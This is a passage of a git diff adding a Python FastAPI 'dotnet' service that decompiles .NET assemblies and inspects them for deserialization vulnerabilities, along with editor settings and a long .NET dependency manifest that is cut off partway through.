"**/.venv": true, + "**/__pycache__": true, + "**/Thumbs.db": true + }, + "files.trimTrailingWhitespace": true, + "files.watcherExclude": { + "**/__pycache__/**": true, + "**/.git/objects/**": true, + "**/.git/subtree-cache/**": true, + "**/.hg/store/**": true, + "**/.ipynb_checkpoints/**": true, + "**/.mypy_cache/**": true, + "**/.pytest_cache/**": true, + "**/.venv/**": true, + "**/*.egg-info/**": true, + "**/build/**": true, + "**/dist/**": true, + "**/node_modules/*/**": true, + }, + "python.analysis.diagnosticSeverityOverrides": { + "reportMissingImports": "none", + "reportMissingModuleSource": "none", + }, + "python.analysis.useLibraryCodeForTypes": true, // Pyright + "python.formatting.provider": "black", + "python.languageServer": "Pylance", + "python.linting.enabled": true, + "python.linting.flake8Args": [ + "--max-line-length=240", + "--ignore=E203,E722,W503", + ], + "python.linting.flake8Enabled": true, + "python.linting.lintOnSave": true, + "python.linting.pylintEnabled": false, + "python.testing.pytestArgs": [ + "tests" + ], + "python.testing.unittestEnabled": false, + "python.testing.pytestEnabled": true, + "python.analysis.typeCheckingMode": "basic", + "problems.showOnSave": true +} \ No newline at end of file diff --git a/cmd/dotnet/.vscode/tasks.json b/cmd/dotnet/.vscode/tasks.json new file mode 100644 index 0000000..00b0263 --- /dev/null +++ b/cmd/dotnet/.vscode/tasks.json @@ -0,0 +1,12 @@ +{ + // See https://go.microsoft.com/fwlink/?LinkId=733558 + // for the documentation about the tasks.json format + "version": "2.0.0", + "tasks": [ + { + "label": "Type Checking", + "type": "shell", + "command": "poetry run pyright" + } + ] +} \ No newline at end of file diff --git a/cmd/dotnet/README.md b/cmd/dotnet/README.md new file mode 100644 index 0000000..acf6bb7 --- /dev/null +++ b/cmd/dotnet/README.md @@ -0,0 +1,5 @@ +# dotnet + +Downloads the supplied Nemesis file/object ID from storage, and then: +- Uses ilspy to decompile the assembly as a complete project, zips and uploads the source to storage, and returns a new Nemesis object ID referencing the new .zip +- Uses a customized version of InspectAssembly to examine the assembly for deserialization/remoting vulns diff --git a/cmd/dotnet/dotnet/__init__.py b/cmd/dotnet/dotnet/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/cmd/dotnet/dotnet/__main__.py b/cmd/dotnet/dotnet/__main__.py new file mode 100644 index 0000000..d2a1809 --- /dev/null +++ b/cmd/dotnet/dotnet/__main__.py @@ -0,0 +1,13 @@ +# Standard Libraries +import asyncio + +# 3rd Party Libraries +from dotnet.app import App + + +def main(): + asyncio.run(App().start()) + + +if __name__ == "__main__": + main() diff --git a/cmd/dotnet/dotnet/app.py b/cmd/dotnet/dotnet/app.py new file mode 100644 index 0000000..eb7ee7d --- /dev/null +++ b/cmd/dotnet/dotnet/app.py @@ -0,0 +1,72 @@ +# Standard Libraries + +# 3rd Party Libraries +import structlog +import uvicorn +from dotnet.services.dotnet import DotnetAPI +from dotnet.settings import DotnetSettings +from fastapi import FastAPI +from nemesiscommon.storage_s3 import StorageS3 +from nemesiscommon.storage_minio import StorageMinio +from nemesiscommon.storage import StorageInterface +from prometheus_async.aio.web import start_http_server + +logger = structlog.get_logger(module=__name__) + + +class App: + cfg: DotnetSettings + storage: StorageInterface + + def __init__(self) -> None: + self.cfg = DotnetSettings() # type: ignore + + async def start(self): + await logger.ainfo("Application started") + + await logger.ainfo("Starting prometheus") + await start_http_server(port=self.cfg.prometheus_port) + + if self.cfg.storage_provider.lower() == "s3": + await logger.ainfo("Starting S3 storage backend") + self.storage = StorageS3( + assessment_id=self.cfg.assessment_id, + data_download_dir=self.cfg.data_download_dir, + aws_access_key_id=self.cfg.aws_access_key_id, + aws_secret_access_key=self.cfg.aws_secret_access_key, + aws_default_region=self.cfg.aws_default_region, + aws_bucket_name=self.cfg.aws_bucket, + aws_kms_key_alias=self.cfg.aws_kms_key_alias, + ) + elif self.cfg.storage_provider.lower() == "minio": + await logger.ainfo("Starting minio storage backend") + self.storage = StorageMinio( + assessment_id=self.cfg.assessment_id, + data_download_dir=self.cfg.data_download_dir, + access_key=self.cfg.minio_root_user, + secret_key=self.cfg.minio_root_password, + ) + else: + await logger.aerror("Storage provider not supported", storage_provider=self.cfg.storage_provider) + raise + + await logger.ainfo("Starting service") + + await self.start_dotnet() + + await logger.ainfo("Application shutting down") + + def custom_exception_handler(self, loop, context): + # first, handle with default handler + loop.default_exception_handler(context) + e = context.get("exception") + logger.exception("asyncio exception", e) + loop.stop() + + async def start_dotnet(self) -> None: + app = FastAPI() + routes = DotnetAPI(self.cfg, self.storage) + app.include_router(routes.router) + config = uvicorn.Config(app, host="0.0.0.0", port=9800, log_level=self.cfg.log_level.lower(), loop="asyncio") + server = uvicorn.Server(config) + await server.serve() diff --git a/cmd/dotnet/dotnet/services/InspectAssembly/InspectAssembly.deps.json b/cmd/dotnet/dotnet/services/InspectAssembly/InspectAssembly.deps.json new file mode 100644 index 0000000..0c5e62f --- /dev/null +++ b/cmd/dotnet/dotnet/services/InspectAssembly/InspectAssembly.deps.json @@ -0,0 +1,1269 @@ +{ + "runtimeTarget": { + "name": ".NETCoreApp,Version=v6.0", + "signature": "" + }, + "compilationOptions": {}, + "targets": { + ".NETCoreApp,Version=v6.0": { + "InspectAssembly/1.0.0": { + "dependencies": { + "Costura.Fody": "5.7.0", + "Fody": "6.6.3", + "Mono.Cecil": "0.11.4", + "Newtonsoft.Json": "13.0.1" + }, + "runtime": { + "InspectAssembly.dll": {} + } + }, + "Costura.Fody/5.7.0": { + "dependencies": { + "Fody": "6.6.3", + "NETStandard.Library": "1.6.1" + } + }, + "Fody/6.6.3": {}, + "Microsoft.NETCore.Platforms/1.1.0": {}, + "Microsoft.NETCore.Targets/1.1.0": {}, + "Microsoft.Win32.Primitives/4.3.0": { + "dependencies": { + "Microsoft.NETCore.Platforms": "1.1.0", + "Microsoft.NETCore.Targets": "1.1.0", + "System.Runtime": "4.3.0" + } + }, + "Mono.Cecil/0.11.4": { + "runtime": { + "lib/netstandard2.0/Mono.Cecil.Mdb.dll": { + "assemblyVersion": "0.11.4.0", + "fileVersion": "0.11.4.0" + }, + "lib/netstandard2.0/Mono.Cecil.Pdb.dll": { + "assemblyVersion": "0.11.4.0", + "fileVersion": "0.11.4.0" + }, + "lib/netstandard2.0/Mono.Cecil.Rocks.dll": { + "assemblyVersion": "0.11.4.0", + "fileVersion": "0.11.4.0" + }, + "lib/netstandard2.0/Mono.Cecil.dll": { + "assemblyVersion": "0.11.4.0", + "fileVersion": "0.11.4.0" + } + } + }, + "NETStandard.Library/1.6.1": { + "dependencies": { + "Microsoft.NETCore.Platforms": "1.1.0", + "Microsoft.Win32.Primitives": "4.3.0", + "System.AppContext": "4.3.0", + "System.Collections": "4.3.0", + "System.Collections.Concurrent": "4.3.0", + "System.Console": "4.3.0", + "System.Diagnostics.Debug": "4.3.0", + "System.Diagnostics.Tools": "4.3.0", + "System.Diagnostics.Tracing": "4.3.0", + "System.Globalization": "4.3.0", + "System.Globalization.Calendars": "4.3.0", + "System.IO": "4.3.0", + "System.IO.Compression": "4.3.0", + "System.IO.Compression.ZipFile": "4.3.0", + "System.IO.FileSystem": "4.3.0", + "System.IO.FileSystem.Primitives": "4.3.0", + "System.Linq": "4.3.0", + "System.Linq.Expressions": "4.3.0", + "System.Net.Http": "4.3.0", + "System.Net.Primitives": "4.3.0", + "System.Net.Sockets": "4.3.0", + "System.ObjectModel": "4.3.0", + "System.Reflection": "4.3.0", + "System.Reflection.Extensions": "4.3.0", + "System.Reflection.Primitives": "4.3.0", + "System.Resources.ResourceManager": "4.3.0", + "System.Runtime": "4.3.0", + "System.Runtime.Extensions": "4.3.0", + "System.Runtime.Handles": "4.3.0", + "System.Runtime.InteropServices": "4.3.0", + "System.Runtime.InteropServices.RuntimeInformation": "4.3.0", + "System.Runtime.Numerics": "4.3.0", + "System.Security.Cryptography.Algorithms": "4.3.0", + "System.Security.Cryptography.Encoding": "4.3.0", + "System.Security.Cryptography.Primitives": "4.3.0", + "System.Security.Cryptography.X509Certificates": "4.3.0", + "System.Text.Encoding": "4.3.0", + "System.Text.Encoding.Extensions": "4.3.0", + "System.Text.RegularExpressions": "4.3.0", + "System.Threading": "4.3.0", + "System.Threading.Tasks": "4.3.0", + "System.Threading.Timer": "4.3.0", + "System.Xml.ReaderWriter": "4.3.0", + "System.Xml.XDocument": "4.3.0" + } + }, + "Newtonsoft.Json/13.0.1": { + "runtime": { + "lib/netstandard2.0/Newtonsoft.Json.dll": { + "assemblyVersion": "13.0.0.0", + "fileVersion": "13.0.1.25517" + } + } + }, + "runtime.debian.8-x64.runtime.native.System.Security.Cryptography.OpenSsl/4.3.0": {}, + "runtime.fedora.23-x64.runtime.native.System.Security.Cryptography.OpenSsl/4.3.0": {}, + "runtime.fedora.24-x64.runtime.native.System.Security.Cryptography.OpenSsl/4.3.0": {}, + "runtime.native.System/4.3.0": { + "dependencies": { + "Microsoft.NETCore.Platforms": "1.1.0", + "Microsoft.NETCore.Targets": "1.1.0" + } + }, + "runtime.native.System.IO.Compression/4.3.0": { + "dependencies": { + "Microsoft.NETCore.Platforms": "1.1.0", + "Microsoft.NETCore.Targets": "1.1.0" + } + }, + "runtime.native.System.Net.Http/4.3.0": { + "dependencies": { + "Microsoft.NETCore.Platforms": "1.1.0", + "Microsoft.NETCore.Targets": "1.1.0" + } + }, + "runtime.native.System.Security.Cryptography.Apple/4.3.0": { + "dependencies": { + "runtime.osx.10.10-x64.runtime.native.System.Security.Cryptography.Apple": "4.3.0" + } + }, + "runtime.native.System.Security.Cryptography.OpenSsl/4.3.0": { + "dependencies": { + "runtime.debian.8-x64.runtime.native.System.Security.Cryptography.OpenSsl": "4.3.0", + "runtime.fedora.23-x64.runtime.native.System.Security.Cryptography.OpenSsl": "4.3.0", + "runtime.fedora.24-x64.runtime.native.System.Security.Cryptography.OpenSsl": "4.3.0", + "runtime.opensuse.13.2-x64.runtime.native.System.Security.Cryptography.OpenSsl": "4.3.0", + "runtime.opensuse.42.1-x64.runtime.native.System.Security.Cryptography.OpenSsl": "4.3.0", + "runtime.osx.10.10-x64.runtime.native.System.Security.Cryptography.OpenSsl": "4.3.0", + "runtime.rhel.7-x64.runtime.native.System.Security.Cryptography.OpenSsl": "4.3.0", + "runtime.ubuntu.14.04-x64.runtime.native.System.Security.Cryptography.OpenSsl": "4.3.0", + "runtime.ubuntu.16.04-x64.runtime.native.System.Security.Cryptography.OpenSsl": "4.3.0", + "runtime.ubuntu.16.10-x64.runtime.native.System.Security.Cryptography.OpenSsl": "4.3.0" + } + }, + "runtime.opensuse.13.2-x64.runtime.native.System.Security.Cryptography.OpenSsl/4.3.0": {}, + "runtime.opensuse.42.1-x64.runtime.native.System.Security.Cryptography.OpenSsl/4.3.0": {}, + "runtime.osx.10.10-x64.runtime.native.System.Security.Cryptography.Apple/4.3.0": {}, + "runtime.osx.10.10-x64.runtime.native.System.Security.Cryptography.OpenSsl/4.3.0": {}, + "runtime.rhel.7-x64.runtime.native.System.Security.Cryptography.OpenSsl/4.3.0": {}, + "runtime.ubuntu.14.04-x64.runtime.native.System.Security.Cryptography.OpenSsl/4.3.0": {}, + "runtime.ubuntu.16.04-x64.runtime.native.System.Security.Cryptography.OpenSsl/4.3.0": {}, + "runtime.ubuntu.16.10-x64.runtime.native.System.Security.Cryptography.OpenSsl/4.3.0": {}, + "System.AppContext/4.3.0": { + "dependencies": { + "System.Runtime": "4.3.0" + } + }, + "System.Buffers/4.3.0": { + "dependencies": { + "System.Diagnostics.Debug": "4.3.0", + "System.Diagnostics.Tracing": "4.3.0", + "System.Resources.ResourceManager": "4.3.0", + "System.Runtime": "4.3.0", + "System.Threading": "4.3.0" + } + }, + "System.Collections/4.3.0": { + "dependencies": { + "Microsoft.NETCore.Platforms": "1.1.0", + "Microsoft.NETCore.Targets": "1.1.0", + "System.Runtime": "4.3.0" + } + }, + "System.Collections.Concurrent/4.3.0": { + "dependencies": { + "System.Collections": "4.3.0", + "System.Diagnostics.Debug": "4.3.0", + "System.Diagnostics.Tracing": "4.3.0", + "System.Globalization": "4.3.0", + "System.Reflection": "4.3.0", + "System.Resources.ResourceManager": "4.3.0", + "System.Runtime": "4.3.0", + "System.Runtime.Extensions": "4.3.0", + "System.Threading": "4.3.0", + "System.Threading.Tasks": "4.3.0" + } + }, + "System.Console/4.3.0": { + "dependencies": { + "Microsoft.NETCore.Platforms": "1.1.0", + "Microsoft.NETCore.Targets": "1.1.0", + "System.IO": "4.3.0", + "System.Runtime": "4.3.0", + "System.Text.Encoding": "4.3.0" + } + }, + "System.Diagnostics.Debug/4.3.0": { + "dependencies": { + "Microsoft.NETCore.Platforms": "1.1.0", + "Microsoft.NETCore.Targets": "1.1.0", + "System.Runtime": "4.3.0" + } + }, + "System.Diagnostics.DiagnosticSource/4.3.0": { + "dependencies": { + "System.Collections": "4.3.0", + "System.Diagnostics.Tracing": "4.3.0", + "System.Reflection": "4.3.0", + "System.Runtime": "4.3.0", + "System.Threading": "4.3.0" + } + }, + "System.Diagnostics.Tools/4.3.0": { + "dependencies": { + "Microsoft.NETCore.Platforms": "1.1.0", + "Microsoft.NETCore.Targets": "1.1.0", + "System.Runtime": "4.3.0" + } + }, + "System.Diagnostics.Tracing/4.3.0": { + "dependencies": { + "Microsoft.NETCore.Platforms": "1.1.0", + "Microsoft.NETCore.Targets": "1.1.0", + "System.Runtime": "4.3.0" + } + }, + "System.Globalization/4.3.0": { + "dependencies": { + "Microsoft.NETCore.Platforms": "1.1.0", + "Microsoft.NETCore.Targets": "1.1.0", + "System.Runtime": "4.3.0" + } + }, + "System.Globalization.Calendars/4.3.0": { + "dependencies": { + "Microsoft.NETCore.Platforms": "1.1.0", + "Microsoft.NETCore.Targets": "1.1.0", + "System.Globalization": "4.3.0", + "System.Runtime": "4.3.0" + } + }, + "System.Globalization.Extensions/4.3.0": { + "dependencies": { + "Microsoft.NETCore.Platforms": "1.1.0", + "System.Globalization": "4.3.0", + "System.Resources.ResourceManager": "4.3.0", + "System.Runtime": "4.3.0", + "System.Runtime.Extensions": "4.3.0", + "System.Runtime.InteropServices": "4.3.0" + } + }, + "System.IO/4.3.0": { + "dependencies": { + "Microsoft.NETCore.Platforms": "1.1.0", + "Microsoft.NETCore.Targets": "1.1.0", + "System.Runtime": "4.3.0", + "System.Text.Encoding": "4.3.0", + "System.Threading.Tasks": "4.3.0" + } + }, + "System.IO.Compression/4.3.0": { + "dependencies": { + "Microsoft.NETCore.Platforms": "1.1.0", + "System.Buffers": "4.3.0", + "System.Collections": "4.3.0", + "System.Diagnostics.Debug": "4.3.0", + "System.IO": "4.3.0", + "System.Resources.ResourceManager": "4.3.0", + "System.Runtime": "4.3.0", + "System.Runtime.Extensions": "4.3.0", + "System.Runtime.Handles": "4.3.0", + "System.Runtime.InteropServices": "4.3.0", + "System.Text.Encoding": "4.3.0", + "System.Threading": "4.3.0", + "System.Threading.Tasks": "4.3.0", + "runtime.native.System": "4.3.0", + "runtime.native.System.IO.Compression": "4.3.0" + } + }, + "System.IO.Compression.ZipFile/4.3.0": { + "dependencies": { + "System.Buffers": "4.3.0", + "System.IO": "4.3.0", + "System.IO.Compression": "4.3.0", + "System.IO.FileSystem": "4.3.0", + "System.IO.FileSystem.Primitives": "4.3.0", + "System.Resources.ResourceManager": "4.3.0", + "System.Runtime": "4.3.0", + "System.Runtime.Extensions": "4.3.0", + "System.Text.Encoding": "4.3.0" + } + }, + "System.IO.FileSystem/4.3.0": { + "dependencies": { + "Microsoft.NETCore.Platforms": "1.1.0", + "Microsoft.NETCore.Targets": "1.1.0", + "System.IO": "4.3.0", + "System.IO.FileSystem.Primitives": "4.3.0", + "System.Runtime": "4.3.0", + "System.Runtime.Handles": "4.3.0", + "System.Text.Encoding": "4.3.0", + "System.Threading.Tasks": "4.3.0" + } + }, + "System.IO.FileSystem.Primitives/4.3.0": { + "dependencies": { + "System.Runtime": "4.3.0" + } + }, + "System.Linq/4.3.0": { + "dependencies": { + "System.Collections": "4.3.0", + "System.Diagnostics.Debug": "4.3.0", + "System.Resources.ResourceManager": "4.3.0", + "System.Runtime": "4.3.0", + "System.Runtime.Extensions": "4.3.0" + } + }, + "System.Linq.Expressions/4.3.0": { + "dependencies": { + "System.Collections": "4.3.0", + "System.Diagnostics.Debug": "4.3.0", + "System.Globalization": "4.3.0", + "System.IO": "4.3.0", + "System.Linq": "4.3.0", + "System.ObjectModel": "4.3.0", + "System.Reflection": "4.3.0", + "System.Reflection.Emit": "4.3.0", + "System.Reflection.Emit.ILGeneration": "4.3.0", + "System.Reflection.Emit.Lightweight": "4.3.0", + "System.Reflection.Extensions": "4.3.0", + "System.Reflection.Primitives": "4.3.0", + "System.Reflection.TypeExtensions": "4.3.0", + "System.Resources.ResourceManager": "4.3.0", + "System.Runtime": "4.3.0", + "System.Runtime.Extensions": "4.3.0", + "System.Threading": "4.3.0" + } + }, + "System.Net.Http/4.3.0": { + "dependencies": { + "Microsoft.NETCore.Platforms": "1.1.0", + "System.Collections": "4.3.0", + "System.Diagnostics.Debug": "4.3.0", + "System.Diagnostics.DiagnosticSource": "4.3.0", + "System.Diagnostics.Tracing": "4.3.0", + "System.Globalization": "4.3.0", + "System.Globalization.Extensions": "4.3.0", + "System.IO": "4.3.0", + "System.IO.FileSystem": "4.3.0", + "System.Net.Primitives": "4.3.0", + "System.Resources.ResourceManager": "4.3.0", + "System.Runtime": "4.3.0", + "System.Runtime.Extensions": "4.3.0", + "System.Runtime.Handles": "4.3.0", + "System.Runtime.InteropServices": "4.3.0", + "System.Security.Cryptography.Algorithms": "4.3.0", + "System.Security.Cryptography.Encoding": "4.3.0", + "System.Security.Cryptography.OpenSsl": "4.3.0", + "System.Security.Cryptography.Primitives": "4.3.0", + "System.Security.Cryptography.X509Certificates": "4.3.0", + "System.Text.Encoding": "4.3.0", + "System.Threading": "4.3.0", + "System.Threading.Tasks": "4.3.0", + "runtime.native.System": "4.3.0", + "runtime.native.System.Net.Http": "4.3.0", + "runtime.native.System.Security.Cryptography.OpenSsl": "4.3.0" + } + }, + "System.Net.Primitives/4.3.0": { + "dependencies": { + "Microsoft.NETCore.Platforms": "1.1.0", + "Microsoft.NETCore.Targets": "1.1.0", + "System.Runtime": "4.3.0", + "System.Runtime.Handles": "4.3.0" + } + }, + "System.Net.Sockets/4.3.0": { + "dependencies": { + "Microsoft.NETCore.Platforms": "1.1.0", + "Microsoft.NETCore.Targets": "1.1.0", + "System.IO": "4.3.0", + "System.Net.Primitives": "4.3.0", + "System.Runtime": "4.3.0", + "System.Threading.Tasks": "4.3.0" + } + }, + "System.ObjectModel/4.3.0": { + "dependencies": { + "System.Collections": "4.3.0", + "System.Diagnostics.Debug": "4.3.0", + "System.Resources.ResourceManager": "4.3.0", + "System.Runtime": "4.3.0", + "System.Threading": "4.3.0" + } + }, + "System.Reflection/4.3.0": { + "dependencies": { + "Microsoft.NETCore.Platforms": "1.1.0", + "Microsoft.NETCore.Targets": "1.1.0", + "System.IO": "4.3.0", + "System.Reflection.Primitives": "4.3.0", + "System.Runtime": "4.3.0" + } + }, + "System.Reflection.Emit/4.3.0": { + "dependencies": { + "System.IO": "4.3.0", + "System.Reflection": "4.3.0", + "System.Reflection.Emit.ILGeneration": "4.3.0", + "System.Reflection.Primitives": "4.3.0", + "System.Runtime": "4.3.0" + } + }, + "System.Reflection.Emit.ILGeneration/4.3.0": { + "dependencies": { + "System.Reflection": "4.3.0", + "System.Reflection.Primitives": "4.3.0", + "System.Runtime": "4.3.0" + } + }, + "System.Reflection.Emit.Lightweight/4.3.0": { + "dependencies": { + "System.Reflection": "4.3.0", + "System.Reflection.Emit.ILGeneration": "4.3.0", + "System.Reflection.Primitives": "4.3.0", + "System.Runtime": "4.3.0" + } + }, + "System.Reflection.Extensions/4.3.0": { + "dependencies": { + "Microsoft.NETCore.Platforms": "1.1.0", + "Microsoft.NETCore.Targets": "1.1.0", + "System.Reflection": "4.3.0", + "System.Runtime": "4.3.0" + } + }, + "System.Reflection.Primitives/4.3.0": { + "dependencies": { + "Microsoft.NETCore.Platforms": "1.1.0", + "Microsoft.NETCore.Targets": "1.1.0", + "System.Runtime": "4.3.0" + } + }, + "System.Reflection.TypeExtensions/4.3.0": { + "dependencies": { + "System.Reflection": "4.3.0", + "System.Runtime": "4.3.0" + } + }, + "System.Resources.ResourceManager/4.3.0": { + "dependencies": { + "Microsoft.NETCore.Platforms": "1.1.0", + "Microsoft.NETCore.Targets": "1.1.0", + "System.Globalization": "4.3.0", + "System.Reflection": "4.3.0", + "System.Runtime": "4.3.0" + } + }, + "System.Runtime/4.3.0": { + "dependencies": { + "Microsoft.NETCore.Platforms": "1.1.0", + "Microsoft.NETCore.Targets": "1.1.0" + } + }, + "System.Runtime.Extensions/4.3.0": { + "dependencies": { + "Microsoft.NETCore.Platforms": "1.1.0", + "Microsoft.NETCore.Targets": "1.1.0", + "System.Runtime": "4.3.0" + } + }, + "System.Runtime.Handles/4.3.0": { + "dependencies": { + "Microsoft.NETCore.Platforms": "1.1.0", + "Microsoft.NETCore.Targets": "1.1.0", + "System.Runtime": "4.3.0" + } + }, + "System.Runtime.InteropServices/4.3.0": { + "dependencies": { + "Microsoft.NETCore.Platforms": "1.1.0", + "Microsoft.NETCore.Targets": "1.1.0", + "System.Reflection": "4.3.0", + "System.Reflection.Primitives": "4.3.0", + "System.Runtime": "4.3.0", + "System.Runtime.Handles": "4.3.0" + } + }, + "System.Runtime.InteropServices.RuntimeInformation/4.3.0": { + "dependencies": { + "System.Reflection": "4.3.0", + "System.Reflection.Extensions": "4.3.0", + "System.Resources.ResourceManager": "4.3.0", + "System.Runtime": "4.3.0", + "System.Runtime.InteropServices": "4.3.0", + "System.Threading": "4.3.0", + "runtime.native.System": "4.3.0" + } + }, + "System.Runtime.Numerics/4.3.0": { + "dependencies": { + "System.Globalization": "4.3.0", + "System.Resources.ResourceManager": "4.3.0", + "System.Runtime": "4.3.0", + "System.Runtime.Extensions": "4.3.0" + } + }, + "System.Security.Cryptography.Algorithms/4.3.0": { + "dependencies": { + "Microsoft.NETCore.Platforms": "1.1.0", + "System.Collections": "4.3.0", + "System.IO": "4.3.0", + "System.Resources.ResourceManager": "4.3.0", + "System.Runtime": "4.3.0", + "System.Runtime.Extensions": "4.3.0", + "System.Runtime.Handles": "4.3.0", + "System.Runtime.InteropServices": "4.3.0", + "System.Runtime.Numerics": "4.3.0", + "System.Security.Cryptography.Encoding": "4.3.0", + "System.Security.Cryptography.Primitives": "4.3.0", + "System.Text.Encoding": "4.3.0", + "runtime.native.System.Security.Cryptography.Apple": "4.3.0", + "runtime.native.System.Security.Cryptography.OpenSsl": "4.3.0" + } + }, + "System.Security.Cryptography.Cng/4.3.0": { + "dependencies": { + "Microsoft.NETCore.Platforms": "1.1.0", + "System.IO": "4.3.0", + "System.Resources.ResourceManager": "4.3.0", + "System.Runtime": "4.3.0", + "System.Runtime.Extensions": "4.3.0", + "System.Runtime.Handles": "4.3.0", + "System.Runtime.InteropServices": "4.3.0", + "System.Security.Cryptography.Algorithms": "4.3.0", + "System.Security.Cryptography.Encoding": "4.3.0", + "System.Security.Cryptography.Primitives": "4.3.0", + "System.Text.Encoding": "4.3.0" + } + }, + "System.Security.Cryptography.Csp/4.3.0": { + "dependencies": { + "Microsoft.NETCore.Platforms": "1.1.0", + "System.IO": "4.3.0", + "System.Reflection": "4.3.0", + "System.Resources.ResourceManager": "4.3.0", + "System.Runtime": "4.3.0", + "System.Runtime.Extensions": "4.3.0", + "System.Runtime.Handles": "4.3.0", + "System.Runtime.InteropServices": "4.3.0", + "System.Security.Cryptography.Algorithms": "4.3.0", + "System.Security.Cryptography.Encoding": "4.3.0", + "System.Security.Cryptography.Primitives": "4.3.0", + "System.Text.Encoding": "4.3.0", + "System.Threading": "4.3.0" + } + }, + "System.Security.Cryptography.Encoding/4.3.0": { + "dependencies": { + "Microsoft.NETCore.Platforms": "1.1.0", + "System.Collections": "4.3.0", + "System.Collections.Concurrent": "4.3.0", + "System.Linq": "4.3.0", + "System.Resources.ResourceManager": "4.3.0", + "System.Runtime": "4.3.0", + "System.Runtime.Extensions": "4.3.0", + "System.Runtime.Handles": "4.3.0", + "System.Runtime.InteropServices": "4.3.0", + "System.Security.Cryptography.Primitives": "4.3.0", + "System.Text.Encoding": "4.3.0", + "runtime.native.System.Security.Cryptography.OpenSsl": "4.3.0" + } + }, + "System.Security.Cryptography.OpenSsl/4.3.0": { + "dependencies": { + "System.Collections": "4.3.0", + "System.IO": "4.3.0", + "System.Resources.ResourceManager": "4.3.0", + "System.Runtime": "4.3.0", + "System.Runtime.Extensions": "4.3.0", + "System.Runtime.Handles": "4.3.0", + "System.Runtime.InteropServices": "4.3.0", + "System.Runtime.Numerics": "4.3.0", + "System.Security.Cryptography.Algorithms": "4.3.0", + "System.Security.Cryptography.Encoding": "4.3.0", + "System.Security.Cryptography.Primitives": "4.3.0", + "System.Text.Encoding": "4.3.0", + "runtime.native.System.Security.Cryptography.OpenSsl": "4.3.0" + } + }, + "System.Security.Cryptography.Primitives/4.3.0": { + "dependencies": { + "System.Diagnostics.Debug": "4.3.0", + "System.Globalization": "4.3.0", + "System.IO": "4.3.0", + "System.Resources.ResourceManager": "4.3.0", + "System.Runtime": "4.3.0", + "System.Threading": "4.3.0", + "System.Threading.Tasks": "4.3.0" + } + }, + "System.Security.Cryptography.X509Certificates/4.3.0": { + "dependencies": { + "Microsoft.NETCore.Platforms": "1.1.0", + "System.Collections": "4.3.0", + "System.Diagnostics.Debug": "4.3.0", + "System.Globalization": "4.3.0", + "System.Globalization.Calendars": "4.3.0", + "System.IO": "4.3.0", + "System.IO.FileSystem": "4.3.0", + "System.IO.FileSystem.Primitives": "4.3.0", + "System.Resources.ResourceManager": "4.3.0", + "System.Runtime": "4.3.0", + "System.Runtime.Extensions": "4.3.0", + "System.Runtime.Handles": "4.3.0", + "System.Runtime.InteropServices": "4.3.0", + "System.Runtime.Numerics": "4.3.0", + "System.Security.Cryptography.Algorithms": "4.3.0", + "System.Security.Cryptography.Cng": "4.3.0", + "System.Security.Cryptography.Csp": "4.3.0", + "System.Security.Cryptography.Encoding": "4.3.0", + "System.Security.Cryptography.OpenSsl": "4.3.0", + "System.Security.Cryptography.Primitives": "4.3.0", + "System.Text.Encoding": "4.3.0", + "System.Threading": "4.3.0", + "runtime.native.System": "4.3.0", + "runtime.native.System.Net.Http": "4.3.0", + "runtime.native.System.Security.Cryptography.OpenSsl": "4.3.0" + } + }, + "System.Text.Encoding/4.3.0": { + "dependencies": { + "Microsoft.NETCore.Platforms": "1.1.0", + "Microsoft.NETCore.Targets": "1.1.0", + "System.Runtime": "4.3.0" + } + }, + "System.Text.Encoding.Extensions/4.3.0": { + "dependencies": { + "Microsoft.NETCore.Platforms": "1.1.0", + "Microsoft.NETCore.Targets": "1.1.0", + "System.Runtime": "4.3.0", + "System.Text.Encoding": "4.3.0" + } + }, + "System.Text.RegularExpressions/4.3.0": { + "dependencies": { + "System.Runtime": "4.3.0" + } + }, + "System.Threading/4.3.0": { + "dependencies": { + "System.Runtime": "4.3.0", + "System.Threading.Tasks": "4.3.0" + } + }, + "System.Threading.Tasks/4.3.0": { + "dependencies": { + "Microsoft.NETCore.Platforms": "1.1.0", + "Microsoft.NETCore.Targets": "1.1.0", + "System.Runtime": "4.3.0" + } + }, + "System.Threading.Tasks.Extensions/4.3.0": { + "dependencies": { + "System.Collections": "4.3.0", + "System.Runtime": "4.3.0", + "System.Threading.Tasks": "4.3.0" + } + }, + "System.Threading.Timer/4.3.0": { + "dependencies": { + "Microsoft.NETCore.Platforms": "1.1.0", + "Microsoft.NETCore.Targets": "1.1.0", + "System.Runtime": "4.3.0" + } + }, + "System.Xml.ReaderWriter/4.3.0": { + "dependencies": { + "System.Collections": "4.3.0", + "System.Diagnostics.Debug": "4.3.0", + "System.Globalization": "4.3.0", + "System.IO": "4.3.0", + "System.IO.FileSystem": "4.3.0", + "System.IO.FileSystem.Primitives": "4.3.0", + "System.Resources.ResourceManager": "4.3.0", + "System.Runtime": "4.3.0", + "System.Runtime.Extensions": "4.3.0", + "System.Runtime.InteropServices": "4.3.0", + "System.Text.Encoding": "4.3.0", + "System.Text.Encoding.Extensions": "4.3.0", + "System.Text.RegularExpressions": "4.3.0", + "System.Threading.Tasks": "4.3.0", + "System.Threading.Tasks.Extensions": "4.3.0" + } + }, + "System.Xml.XDocument/4.3.0": { + "dependencies": { + "System.Collections": "4.3.0", + "System.Diagnostics.Debug": "4.3.0", + "System.Diagnostics.Tools": "4.3.0", + "System.Globalization": "4.3.0", + "System.IO": "4.3.0", + "System.Reflection": "4.3.0", + "System.Resources.ResourceManager": "4.3.0", + "System.Runtime": "4.3.0", + "System.Runtime.Extensions": "4.3.0", + "System.Text.Encoding": "4.3.0", + "System.Threading": "4.3.0", + "System.Xml.ReaderWriter": "4.3.0" + } + } + } + }, + "libraries": { + "InspectAssembly/1.0.0": { + "type": "project", + "serviceable": false, + "sha512": "" + }, + "Costura.Fody/5.7.0": { + "type": "package", + "serviceable": true, + "sha512": "sha512-MmL28WOOnJEBWORXj6bfSxfWaZW8gWSXEJTdrjB9AQi4COX6RXr2xdGL9HsxpWwn6f5Io0NmNuwFJe94w1YmQA==", + "path": "costura.fody/5.7.0", + "hashPath": "costura.fody.5.7.0.nupkg.sha512" + }, + "Fody/6.6.3": { + "type": "package", + "serviceable": true, + "sha512": "sha512-X1WKKgSNYVtLzdO8dK3YWmfmljA4L0soePcWNouq9X6WbVF4bmivuJdlhTZx/2L3ml6tMvhFe8skIbVQ24PAYA==", + "path": "fody/6.6.3", + "hashPath": "fody.6.6.3.nupkg.sha512" + }, + "Microsoft.NETCore.Platforms/1.1.0": { + "type": "package", + "serviceable": true, + "sha512": 